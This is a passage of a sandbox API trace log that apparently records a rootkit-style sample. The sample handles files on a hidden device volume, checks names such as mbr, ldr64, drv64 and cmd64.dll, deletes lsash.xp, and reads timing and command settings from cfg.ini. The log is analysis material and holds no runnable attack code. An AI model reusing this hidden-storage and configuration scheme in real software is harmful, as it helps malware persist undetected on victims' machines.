FastMutex=0xfffffa80027d3898) [0128.834] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.834] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c014e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.834] KeLeaveCriticalRegion () [0128.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.834] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.834] KeEnterCriticalRegion () [0128.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.834] ExFreePoolWithTag (P=0xfffffa8003c016d0, Tag=0x0) [0128.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.834] KeLeaveCriticalRegion () [0128.834] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.834] ReleaseMutex (hMutex=0xf0) returned 1 [0128.834] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.834] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.834] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.834] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.834] KeEnterCriticalRegion () [0128.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.834] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.834] IdePortDispatch () returned 0x103 [0128.834] KeWaitForMutexObject () returned 0x0 [0128.834] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.834] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.835] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.835] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.835] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.835] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.835] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.835] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.835] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.835] KeLeaveCriticalRegion () [0128.835] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.835] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0128.835] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.835] KeEnterCriticalRegion () [0128.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.835] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.835] IdePortDispatch () returned 0x103 [0128.835] KeWaitForMutexObject () returned 0x0 [0128.835] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.835] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.835] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.835] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.835] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.836] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.836] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0128.836] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.836] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.836] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0128.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.836] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.836] KeLeaveCriticalRegion () [0128.836] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.836] ReleaseMutex (hMutex=0x100) returned 1 [0128.836] Sleep (dwMilliseconds=0x2bf20) [0128.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ffd93f0, dwHighDateTime=0x1d24fa4)) [0128.843] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.843] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.843] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.843] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.843] KeEnterCriticalRegion () [0128.843] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.843] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.843] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.843] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.843] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.843] IdePortDispatch () returned 0x103 [0128.843] KeWaitForMutexObject () returned 0x0 [0128.843] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.843] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.843] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.843] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.843] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.843] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c012d0 [0128.843] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.843] KeLeaveCriticalRegion () [0128.844] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.844] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.844] KeEnterCriticalRegion () [0128.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.844] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.844] KeLeaveCriticalRegion () [0128.844] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.844] KeEnterCriticalRegion () [0128.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.844] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.844] IdePortDispatch () returned 0x103 [0128.844] KeWaitForMutexObject () returned 0x0 [0128.844] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.844] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.844] KeLeaveCriticalRegion () [0128.844] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.844] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.844] KeEnterCriticalRegion () [0128.844] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.844] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b55000 [0128.844] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.844] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.844] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.844] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.844] IdePortDispatch () returned 0x103 [0128.845] KeWaitForMutexObject () returned 0x0 [0128.845] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.845] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.845] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.845] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.845] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.845] IdePortDispatch () returned 0x103 [0128.845] KeWaitForMutexObject () returned 0x0 [0128.845] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.845] KeLeaveCriticalRegion () [0128.845] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.846] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.846] KeEnterCriticalRegion () [0128.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] KeLeaveCriticalRegion () [0128.846] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.846] KeEnterCriticalRegion () [0128.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.846] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c01390, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] KeLeaveCriticalRegion () [0128.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.846] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.846] KeEnterCriticalRegion () [0128.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] ExFreePoolWithTag (P=0xfffffa8003c012d0, Tag=0x0) [0128.846] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] KeLeaveCriticalRegion () [0128.846] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.846] ReleaseMutex (hMutex=0xf0) returned 1 [0128.846] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.846] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.846] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.846] KeEnterCriticalRegion () [0128.846] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.846] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.846] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.846] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.846] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.846] IdePortDispatch () returned 0x103 [0128.846] KeWaitForMutexObject () returned 0x0 [0128.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.847] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.847] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.847] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.847] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.847] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c00260 [0128.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.847] KeLeaveCriticalRegion () [0128.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.847] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.847] KeEnterCriticalRegion () [0128.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.847] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.847] KeLeaveCriticalRegion () [0128.847] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.847] KeEnterCriticalRegion () [0128.847] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.847] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.847] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.847] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.847] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.847] IdePortDispatch () returned 0x103 [0128.847] KeWaitForMutexObject () returned 0x0 [0128.847] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.847] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.847] KeLeaveCriticalRegion () [0128.847] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.848] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.848] KeEnterCriticalRegion () [0128.848] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.848] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b56000 [0128.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.848] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.848] IdePortDispatch () returned 0x103 [0128.848] KeWaitForMutexObject () returned 0x0 [0128.848] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.848] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.848] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.848] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.848] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.848] IdePortDispatch () returned 0x103 [0128.848] KeWaitForMutexObject () returned 0x0 [0128.848] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] KeLeaveCriticalRegion () [0128.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.849] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.849] KeEnterCriticalRegion () [0128.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] KeLeaveCriticalRegion () [0128.849] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.849] KeEnterCriticalRegion () [0128.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.849] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c014e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] KeLeaveCriticalRegion () [0128.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.849] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.849] KeEnterCriticalRegion () [0128.849] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] ExFreePoolWithTag (P=0xfffffa8003c00260, Tag=0x0) [0128.849] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.849] KeLeaveCriticalRegion () [0128.849] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.850] ReleaseMutex (hMutex=0xf0) returned 1 [0128.850] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.850] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.850] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.850] KeEnterCriticalRegion () [0128.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.850] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.850] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.850] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.850] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.850] IdePortDispatch () returned 0x103 [0128.850] KeWaitForMutexObject () returned 0x0 [0128.850] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.850] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.850] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.850] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.850] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.850] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c012d0 [0128.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.850] KeLeaveCriticalRegion () [0128.850] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.850] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.850] KeEnterCriticalRegion () [0128.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.850] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.850] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.850] KeLeaveCriticalRegion () [0128.850] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.850] KeEnterCriticalRegion () [0128.850] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.851] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.851] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.851] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.851] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.851] IdePortDispatch () returned 0x103 [0128.851] KeWaitForMutexObject () returned 0x0 [0128.851] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.851] 